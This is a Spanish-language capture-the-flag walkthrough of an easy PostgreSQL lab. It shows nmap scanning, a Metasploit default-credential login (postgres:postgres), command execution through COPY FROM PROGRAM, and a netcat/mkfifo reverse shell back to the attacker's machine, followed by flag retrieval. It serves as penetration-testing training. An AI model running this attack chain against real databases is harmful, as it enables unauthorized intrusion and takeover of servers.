

Iniciamos el lab PostgreSQL

```
kali@Kali: ~/Downloads/Labs/Facil/PostgreSQL
```

```
Session Actions Edit View Help
```

```
\W//|||V\N\M||L/AI})  
_ _ /_/ \C/_/\M||L  
\X/X\L\C/_/\X\L/C/_/\X/X)
```

```
Entrena pentesting en escenarios reales.  
Simula ataques • Documenta hallazgos • Progresas como hacker ético.
```

```
[*] Inicializando laboratorio offensivo....  
[+] Imagen lista para desplegar
```

```
[*] Desplegando laboratorio offensivo ...
```

```
[v] Escenario listo para el ataque.
```

```
Laboratorio: POSTGRESQL  
Dificultad: ★★★★★★ fácil  
Recompensa: 1 XP
```

```
Objetivo accesible en: 172.17.0.3
```

```
Formato esperado: POSTGRESQL{ ... }
```

```
Ingreso la flag:
```

Usaremos nmap para buscar puertos y servicios abiertos

```
kali@kali: ~/Downloads/Labs/Facil/PostgreSQL
Session Actions Edit View Help
(kali@kali) - [~/Downloads/Labs/Facil/PostgreSQL]
$ nmap -p- -sV -sC -sS -vvv -n -Pn --min-rate=5000 172.17.0.3 -oN nmap_scan
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-28 12:21 -0600
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:21
Completed NSE at 12:21, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:21
Completed NSE at 12:21, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:21
Completed NSE at 12:21, 0.00s elapsed
Initiating ARP Ping Scan at 12:21
Scanning 172.17.0.3 [1 port]
Completed ARP Ping Scan at 12:21, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:21
Scanning 172.17.0.3 [65535 ports]
Discovered open port 5432/tcp on 172.17.0.3
Completed SYN Stealth Scan at 12:21, 0.80s elapsed (65535 total ports)
Initiating Service scan at 12:21
Scanning 1 service on 172.17.0.3
Completed Service scan at 12:21, 6.03s elapsed (1 service on 1 host)
NSE: Script scanning 172.17.0.3.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:21
Completed NSE at 12:21, 0.03s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:21
```

```
kali@kali: ~/Downloads/Labs/Facil/PostgreSQL

Session Actions Edit View Help

NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:21
Completed NSE at 12:21, 0.08s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:21
Completed NSE at 12:21, 0.00s elapsed
Nmap scan report for 172.17.0.3
Host is up, received arp-response (0.0000040s latency).
Scanned at 2026-06-28 12:21:27 CST for 7s
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE      REASON      VERSION
5432/tcp  open  postgresql  syn-ack ttl 64 PostgreSQL DB 12.14 - 12.22
MAC Address: 9E:5E:6F:7F:3E:F9 (Unknown)

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:21
Completed NSE at 12:21, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:21
Completed NSE at 12:21, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:21
Completed NSE at 12:21, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.80 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

(kali@kali) - [~/Downloads/Labs/Facil/PostgreSQL]
$
```

En nuestro primer análisis encontramos solo un puerto disponible 5432 postgresql

Probemos con credenciales por defecto

```
kali@kali: ~/Downloads/Labs/Facil/PostgreSQL

Session Actions Edit View Help

msfconsole -q
msf > use auxiliary/scanner/postgres/postgres_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf auxiliary(scanner/postgres/postgres_login) > set RHOST 172.17.0.3
RHOST => 172.17.0.3
msf auxiliary(scanner/postgres/postgres_login) > set USERNAME postgres
USERNAME => postgres
msf auxiliary(scanner/postgres/postgres_login) > set PASSWORD postgres
PASSWORD => postgres
msf auxiliary(scanner/postgres/postgres_login) > run
[-] 172.17.0.3:5432 - No active DB -- Credential data will not be saved!
[+] 172.17.0.3:5432 - 172.17.0.3:5432 - Login Successful: postgres:postgres@template1
[-] 172.17.0.3:5432 - 172.17.0.3:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user
name specified in startup packet Fpostmaster.c L2270 RProcessStartupPacket)
[-] 172.17.0.3:5432 - 172.17.0.3:5432 - LOGIN FAILED: :@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name sp
ecified in startup packet Fpostmaster.c L2270 RProcessStartupPacket)
[-] 172.17.0.3:5432 - 172.17.0.3:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name sp
ecified in startup packet Fpostmaster.c L2270 RProcessStartupPacket)
[-] 172.17.0.3:5432 - 172.17.0.3:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user
name specified in startup packet Fpostmaster.c L2270 RProcessStartupPacket)
[-] 172.17.0.3:5432 - 172.17.0.3:5432 - LOGIN FAILED: :password@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user
name specified in startup packet Fpostmaster.c L2270 RProcessStartupPacket)
[-] 172.17.0.3:5432 - 172.17.0.3:5432 - LOGIN FAILED: :admin@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name sp
ecified in startup packet Fpostmaster.c L2270 RProcessStartupPacket)
[-] 172.17.0.3:5432 - 172.17.0.3:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentic
ation failed for user "scott" Fauth.c L330 Rauth failed)
[-] 172.17.0.3:5432 - 172.17.0.3:5432 - LOGIN FAILED: scott:@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication fa
iled for user "scott" Fauth.c L330 Rauth failed)
[-] 172.17.0.3:5432 - 172.17.0.3:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentic
ation failed for user "scott" Fauth.c L330 Rauth failed)
[-] 172.17.0.3:5432 - 172.17.0.3:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentic
ation failed for user "scott" Fauth.c L330 Rauth failed)
[-] 172.17.0.3:5432 - 172.17.0.3:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentic
```

El resultado fue positivo, usuario postgres y contraseña postgres se pueden usar para conectarnos a la base de datos

```
msf auxiliary(scanner/postgres/postgres_login) > psql -h 172.17.0.3 -U postgres -W postgres
[*] exec: psql -h 172.17.0.3 -U postgres -W postgres

Password:
psql (18.4 (Debian 18.4-1), server 12.22 (Debian 12.22-1.pgdg120+1))
Type "help" for help.

postgres=#
```

Una vez conectados a la base de datos, intentaremos ejecutar un comando, pero primero debemos crear una tabla para mantener la salida de los comandos

```
postgres=# CREATE TABLE shell(output text);
CREATE TABLE
postgres=#
```

Ahora usaremos el comando COPY para ejecutar comandos del sistema usando la sintaxis COPY FROM PROGRAM. Por lo que podríamos intentar establecer una shell reversa, pondremos en una terminal a escuchar a nuestra máquina Kali

```
kali@Kali: ~/Downloads/Labs/Facil/PostgreSQL
Session Actions Edit View Help

(kali@Kali)~/Downloads/Labs/Facil/PostgreSQL
$ nc -lvnp 4444
listening on [any] 4444 ...
```

Ahora usaremos el comando COPY

```
postgres=# CREATE TABLE shell(output text);
CREATE TABLE
postgres=# COPY shell FROM PROGRAM 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 172.17.0.1 4444 > /tmp/f';
```

```
kali@Kali: ~/Downloads/Labs/Facil/PostgreSQL
Session Actions Edit View Help

(kali@Kali)~/Downloads/Labs/Facil/PostgreSQL
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 40510
/bin/sh: 0: can't access tty; job control turned off
$
```

De regreso en nuestra terminal que dejamos escuchando podemos observar que se logró establecer la conexión, ahora veremos que tipo de permisos tenemos

```
kali@Kali: ~/Downloads/Labs/Facil/PostgreSQL
Session Actions Edit View Help

(kali@Kali)~/Downloads/Labs/Facil/PostgreSQL
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 40510
/bin/sh: 0: can't access tty; job control turned off
$ whoami
postgres
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
$ sudo -l
/bin/sh: 3: sudo: not found
$ pwd
/var/lib/postgresql/data
```

```
$ ls -al
total 132
drwx----- 19 postgres postgres 4096 Jun 28 18:19 .
drwxrwxrwt  1 postgres postgres 4096 Feb 21 02:43 ..
drwx----- 6 postgres postgres 4096 Jun 28 18:19 base
drwx----- 2 postgres postgres 4096 Jun 28 21:48 global
drwx----- 2 postgres postgres 4096 Jun 28 18:19 pg_commit_ts
drwx----- 2 postgres postgres 4096 Jun 28 18:19 pg_dynshmem
-rw----- 1 postgres postgres 4782 Jun 28 18:19 pg_hba.conf
-rw----- 1 postgres postgres 1636 Jun 28 18:19 pg_ident.conf
drwx----- 4 postgres postgres 4096 Jun 28 22:29 pg_logical
drwx----- 4 postgres postgres 4096 Jun 28 18:19 pg_multixact
drwx----- 2 postgres postgres 4096 Jun 28 18:19 pg_notify
drwx----- 2 postgres postgres 4096 Jun 28 18:19 pg_replslot
drwx----- 2 postgres postgres 4096 Jun 28 18:19 pg_serial
drwx----- 2 postgres postgres 4096 Jun 28 18:19 pg_snapshots
drwx----- 2 postgres postgres 4096 Jun 28 18:19 pg_stat
drwx----- 2 postgres postgres 4096 Jun 28 22:38 pg_stat_tmp
drwx----- 2 postgres postgres 4096 Jun 28 18:19 pg_subtrans
drwx----- 2 postgres postgres 4096 Jun 28 18:19 pg_tblspc
drwx----- 2 postgres postgres 4096 Jun 28 18:19 pg_twophase
-rw----- 1 postgres postgres 3 Jun 28 18:19 PG_VERSION
drwx----- 3 postgres postgres 4096 Jun 28 18:19 pg_wal
drwx----- 2 postgres postgres 4096 Jun 28 18:19 pg_xact
-rw----- 1 postgres postgres 88 Jun 28 18:19 postgresql.auto.conf
-rw----- 1 postgres postgres 26802 Jun 28 18:19 postgresql.conf
-rw----- 1 postgres postgres 36 Jun 28 18:19 postmaster.opts
-rw----- 1 postgres postgres 94 Jun 28 18:19 postmaster.pid
$
```

Probemos si con estos permisos podemos buscar la bandera

```
$ find / -name "flag.txt" 2>/dev/null
/tmp/flag.txt
/var/lib/postgresql/flag.txt
$
```

Hemos encontrado dos banderas, veremos si con estas credenciales podemos ver su contenido

```
$ cat /tmp/flag.txt /var/lib/postgresql/flag.txt
POSTGRESQL{[REDACTED]}
POSTGRESQL{[REDACTED]}
$
```

Ambas banderas contienen el mismo contenido por lo que solo nos resta ingresarla en la terminal donde iniciamos el lab

```
kali@kali: ~/Downloads/Labs/Facil/PostgreSQL
```

```
Session Actions Edit View Help
```

```
[*] Inicializando laboratorio ofensivo....  
[+] Imagen lista para desplegar  
  
[*] Desplegando laboratorio ofensivo ...  
  
=====
```

```
[v] Escenario listo para el ataque.  
  
=====
```

```
Laboratorio: PostgreSQL  
Dificultad: ★★★★★★ fácil  
Recompensa: 1 XP  
  
=====
```

```
Objetivo accesible en: 172.17.0.3  
  
=====
```

```
Formato esperado: PostgreSQL{ ... }  
  
=====
```

```
Ingresar la flag: PostgreSQL{XXXXXXXXXXXXXXXXXXXXX}
```

```
Objetivo comprometido con éxito.  
Has dominado el laboratorio: PostgreSQL  
Sigues avanzando como pentester ofensivo.
```

```
FECHA Y HORA: 2026-06-28 16:46:35 -0600  
  
=====
```

```
[*] Presiona Ctrl+C para eliminar el laboratorio  
  
█
```